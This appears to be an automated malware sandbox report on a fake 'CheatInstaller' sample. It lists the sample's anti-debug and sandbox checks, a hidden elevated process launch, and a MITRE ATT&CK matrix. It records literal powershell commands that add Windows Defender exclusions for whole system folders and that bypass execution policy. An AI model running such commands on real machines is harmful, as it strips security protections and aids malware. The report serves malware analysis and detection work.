Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe TID: 5968	Thread sleep time: -52775s >= -30000s
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe TID: 408	Thread sleep count: 200 > 30
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe TID: 6956	Thread sleep count: 98 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4936	Thread sleep count: 2603 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4368	Thread sleep count: 7173 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1168	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep count: 2025 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4376	Thread sleep count: 7734 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2880	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe

Thread sleep count: Count: 2111 delay: -25

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	File Volume queried: C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\build\lib
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\emoji-regex
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\ansi-regex
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\build
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe

Process token adjusted: Debug

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSI551D.tmp "C:\Windows\Installer\MSI551D.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Queries volume information: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Replication Through Removable Media	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	211 Disable or Modify Tools	OS Credential Dumping	11 Peripheral Device Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 DLL Side-Loading	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	11 Scheduled Task/Job	1 File Deletion	Security Account Manager	43 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	122 Masquerading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	23 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	171 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	171 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Source	Detection	Scanner	Label
